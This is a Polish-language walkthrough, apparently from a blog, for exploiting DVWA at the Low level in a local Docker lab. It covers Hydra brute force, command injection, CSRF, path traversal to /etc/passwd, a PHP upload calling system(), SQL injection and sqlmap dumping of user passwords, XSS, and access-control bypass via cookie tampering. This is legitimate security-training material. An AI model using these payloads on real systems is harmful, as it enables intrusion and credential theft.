DVWA – writeup – poziom easy/low

1. Przygotowanie środowiska

Najwygodniej uruchomić DVWA lokalnie przez Docker. W przykładach zakładany jest adres http://127.0.0.1:4280 oraz domyślne konto admin/password.

git clone https://github.com/digininja/DVWA.git
cd DVWA
docker compose up -d

export DVWA=”http://127.0.0.1:4280″

Na Kali Linux zainstaluj podstawowe narzędzia używane w ćwiczeniach:

sudo apt update
sudo apt install -y burpsuite curl jq hydra sqlmap wfuzz ffuf netcat-traditional gobuster nikto seclists

Ustawianie poziomu trudności w DVWA:

DVWA Security → Low / Medium / High / Impossible

Praca z Burp Suite

  1. Uruchom Burp Suite.
  2. Wejdź w Browser → Open browser.
  3. Otwórz http://127.0.0.1:4280 i zaloguj się do DVWA.
  4. Każde istotne żądanie wysyłaj do Repeater.
  5. Modyfikuj parametry i obserwuj różnice w odpowiedziach HTTP.
Wskazówka: W poleceniach curl/hydra zamień PHPSESSID=TU_WSTAW_SESJE na rzeczywistą wartość sesji skopiowaną z Burp lub narzędzi developerskich przeglądarki.

2. Poziom Low / Easy

Na poziomie Low celem jest zrozumienie mechaniki podatności bez istotnych zabezpieczeń aplikacyjnych. W tym etapie warto wykonywać testy manualnie, a dopiero potem automatyzować je narzędziami Kali.

2.1 Brute Force — brute

  • Wejdź w Vulnerability: Brute Force.
  • Wpisz testowo username=admin oraz password=test.
  • Przechwyć żądanie w Burp i wyślij je do Intruder.
  • Oznacz parametr password jako payload position.

123456
admin
password
qwerty
letmein

  1. Uruchom atak i porównuj długość odpowiedzi lub szukaj tekstu Welcome to the password protected area.
  2. Alternatywnie użyj Hydra z małą listą haseł laboratoryjnych.

cat > /tmp/dvwa-pass.txt << 'EOF’
123456
admin
password
qwerty
letmein
EOF

hydra -l admin -P /tmp/dvwa-pass.txt 127.0.0.1 -s 4280 http-get-form „/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: security=low; PHPSESSID=TU_WSTAW_SESJE”

2.2 Command Injection — exec

  1. Wejdź w Vulnerability: Command Injection.
  2. Wpisz poprawny adres 127.0.0.1 i potwierdź, że aplikacja wykonuje ping.
  3. Użyj separatora poleceń, aby dołączyć bezpieczną komendę diagnostyczną.

127.0.0.1; id
127.0.0.1; whoami
127.0.0.1; uname -a
127.0.0.1; pwd
127.0.0.1; ls -la

  1. Przez curl możesz powtórzyć test następująco:

curl -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/exec/” –data-urlencode „ip=127.0.0.1; id” -d „Submit=Submit”

2.3 CSRF — csrf

  1. Wejdź w Vulnerability: CSRF.
  2. Zmień hasło testowo na test123/test123 i przechwyć żądanie w Burp.
  3. Zauważ, że żądanie zmiany hasła może być zwykłym GET-em zawierającym nowe hasło w parametrze.
  4. Przygotuj lokalny plik HTML inicjujący żądanie w kontekście zalogowanej sesji.

cat > csrf-dvwa-low.html << 'EOF’
<html>
  <body>
    <h1>DVWA CSRF Low</h1>
    <img src=”http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change”>
  </body>
</html>
EOF

  • Otwórz plik w tej samej przeglądarce, w której jesteś zalogowany do DVWA.
  • Potwierdź zmianę hasła, a następnie przywróć hasło password.

2.4 File Inclusion — fi

  • Wejdź w Vulnerability: File Inclusion.
  • Kliknij jeden z linków typu ?page=file1.php.
  • Zmień parametr page na ścieżkę wychodzącą poza katalog aplikacji.

http://127.0.0.1:4280/vulnerabilities/fi/?page=../../../../../../etc/passwd

  • Jeżeli działa, zobaczysz zawartość /etc/passwd.
  • Test przez curl:

curl -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd”

2.5 File Upload — upload

  • Utwórz prosty plik PHP wykonujący bezpieczne komendy diagnostyczne.

cat > lab.php << 'EOF’
<?php
echo „<pre>”;
echo „DVWA upload lab
„;
echo „User: „;
system(„whoami”);
echo „
ID: „;
system(„id”);
echo „</pre>”;
?>
EOF

  • Wejdź w Vulnerability: File Upload i wgraj lab.php.
  • Otwórz zwykle generowaną ścieżkę /hackable/uploads/lab.php.
  • Po ćwiczeniu usuń plik z kontenera.

docker compose ps
docker compose exec web rm -f /var/www/html/hackable/uploads/lab.php

2.6 Insecure CAPTCHA — captcha

  • Wejdź w Vulnerability: Insecure CAPTCHA.
  • Wpisz nowe hasło i przechwyć żądanie w Burp.
  • Wyślij żądanie do Repeater.
  • Usuń albo zmodyfikuj parametry CAPTCHA i wyślij żądanie ponownie.
  • Jeżeli hasło zostanie zmienione mimo braku realnej walidacji CAPTCHA, podatność jest potwierdzona.

POST /vulnerabilities/captcha/
password_new=test123
password_conf=test123
Change=Change

2.7 SQL Injection — sqli

  • Wejdź w Vulnerability: SQL Injection.
  • Wpisz 1 i potwierdź normalną odpowiedź.
  • Wpisz 1′ i sprawdź, czy aplikacja ujawnia błąd SQL.
  • Użyj klasycznego payloadu zwracającego wiele rekordów.

1′ OR '1’=’1

  • Sprawdź liczbę kolumn.

1′ ORDER BY 1– –
1′ ORDER BY 2– –
1′ ORDER BY 3– –

  • Jeżeli są dwie kolumny, użyj UNION.

1′ UNION SELECT user,password FROM users– –

  • Automatyzacja sqlmap:

sqlmap -u „$DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=TU_WSTAW_SESJE” -p id –batch –dbs

sqlmap -u „$DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=TU_WSTAW_SESJE” -p id -D dvwa -T users –dump –batch

2.8 SQL Injection Blind — sqli_blind

  • Wejdź w Vulnerability: SQL Injection Blind.
  • Wpisz 1 i zapamiętaj odpowiedź pozytywną.
  • Porównaj warunek prawdziwy i fałszywy.

1′ AND '1’=’1
1′ AND '1’=’2

  • Sprawdź długość nazwy bazy i pierwszy znak.

1′ AND LENGTH(database())=4– –
1′ AND SUBSTRING(database(),1,1)=’d’– –

  • Automatyzacja sqlmap:

sqlmap -u „$DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=TU_WSTAW_SESJE” -p id –batch –dbs

sqlmap -u „$DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=TU_WSTAW_SESJE” -p id -D dvwa -T users –dump –batch

2.9 Weak Session IDs — weak_id

  • Wejdź w Vulnerability: Weak Session IDs.
  • Kliknij Generate kilka razy.
  • W Burp przejdź do Proxy → HTTP history i sprawdź nagłówki Set-Cookie.
  • Jeżeli wartości rosną sekwencyjnie albo są przewidywalne, podatność jest potwierdzona.

for i in {1..5}; do
  curl -i -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE”   „$DVWA/vulnerabilities/weak_id/” | grep -i „Set-Cookie”
done

2.10 XSS Reflected — xss_r

  • Wejdź w Vulnerability: XSS Reflected.
  • Wpisz payload diagnostyczny.

<script>alert(1)</script>
<script>alert(document.domain)</script>

  • Jeżeli pojawi się alert, podatność działa.
  • Wariant przez URL powinien być zakodowany URL-encodingiem.

http://127.0.0.1:4280/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(1)%3C%2Fscript%3E

2.11 XSS Stored — xss_s

  • Wejdź w Vulnerability: XSS Stored.
  • W polu Name wpisz test.
  • W polu Message wpisz payload.

<script>alert(’stored’)</script>

  • Zapisz wpis i odśwież stronę.
  • Jeżeli alert pojawia się automatycznie, XSS jest persistent/stored.
  • Po ćwiczeniu wyczyść guestbook przyciskiem w DVWA.

2.12 XSS DOM — xss_d

  • Wejdź w Vulnerability: XSS DOM.
  • Zobacz parametr default w URL.
  • Zmień go na payload zamykający bieżący kontekst HTML.

English</option></select><script>alert(1)</script>

  • Zakodowany wariant URL:

?default=English%3C/option%3E%3C/select%3E%3Cscript%3Ealert(1)%3C/script%3E

2.13 CSP Bypass — csp

  • Wejdź w Vulnerability: CSP Bypass.
  • W Burp sprawdź nagłówek Content-Security-Policy.
  • Na poziomie Low zbadaj, jakie źródła skryptów są dopuszczone przez CSP.
  • W polu URL podaj skrypt z domeny dopuszczonej przez CSP.
  • Potwierdź wykonanie przez alert albo wpis w konsoli.

2.14 JavaScript — javascript

  • Wejdź w Vulnerability: JavaScript.
  • Otwórz DevTools → Sources.
  • Znajdź funkcję generowania tokenu po stronie klienta.
  • W Low logika sprowadza się do operacji po stronie klienta, np. ROT13 i MD5.

md5(rot13(document.getElementById(„phrase”).value))
document.getElementById(„token”).value = md5(rot13(document.getElementById(„phrase”).value))

  • Wyślij formularz z poprawnie ustawionym tokenem.

2.15 Open HTTP Redirect — open_redirect

  • Wejdź w Vulnerability: Open HTTP Redirect.
  • Kliknij Quote 1 i przechwyć żądanie.
  • Znajdź parametr redirect.
  • Zmień cel przekierowania na zewnętrzny adres testowy.
http://127.0.0.1:4280/vulnerabilities/open_redirect/source/low.php?redirect=https://example.com
  • Jeżeli przeglądarka zostanie przekierowana poza DVWA, podatność jest potwierdzona.

2.16 API Security — api

  • Wejdź w Vulnerability: API Security.
  • Otwórz DevTools → Network i odśwież stronę.
  • Znajdź żądanie API pobierające użytkowników i skopiuj je jako curl.
  • Sprawdź endpointy użytkowników.

curl -s „$DVWA/vulnerabilities/api/v2/user/” | jq
curl -s „$DVWA/vulnerabilities/api/v1/user/” | jq

  • Celem Low jest znalezienie wersji lub odpowiedzi ujawniającej dodatkowe informacje, np. hashe haseł.

2.17 Authorisation Bypass — authbypass

  • Wyloguj się z admina i zaloguj jako użytkownik testowy, np. gordonb / abc123.
  • Wejdź na /vulnerabilities/authbypass/.
  • Otwórz DevTools → Network i zobacz wywołania get_user_data.php oraz change_user_details.php.
  • Spróbuj bezpośrednio pobrać dane.

curl -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/authbypass/get_user_data.php” | jq

  • Spróbuj zmienić dane innego użytkownika przez POST JSON.

curl -s -X POST -b „security=low; PHPSESSID=TU_WSTAW_SESJE” -H „Content-Type: application/json” -d '{„id”:1,”first_name”:”Lab”,”surname”:”AdminChanged”}’ „$DVWA/vulnerabilities/authbypass/change_user_details.php” | jq

  • Jeżeli backend przyjmuje zmianę bez poprawnej autoryzacji roli, podatność jest potwierdzona.

2.18 Broken Access Control — bac

  • Wejdź w Vulnerability: Broken Access Control.
  • Sprawdź URL i parametry, np. action=view&user_id=1.
  • Zmieniaj user_id na 2, 3 itd.
  • W Burp modyfikuj także cookie user_id i user_role.

curl -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE; user_id=2; user_role=admin” „$DVWA/vulnerabilities/bac/?action=view&user_id=2”

  • Jeżeli widzisz profil innego użytkownika, podatność jest potwierdzona.

2.19 Cryptography — cryptography

  • Wejdź w Vulnerability: Cryptography.
  • Na Low skopiuj przechwyconą wiadomość Base64.

Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=

  • Użyj pola Encode or Decode na stronie do testowania znanych tekstów.
  • Zbadaj Base64/XOR prostym skryptem Pythona.

python3 – << 'PY’
import base64
c = „Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=”
raw = base64.b64decode(c)
print(raw)
print(raw.hex())
PY Wniosek: własna kryptografia oraz samo Base64 nie zapewniają poufności.

Jeden komentarz do “DVWA – writeup – poziom easy/low”

Zostaw odpowiedź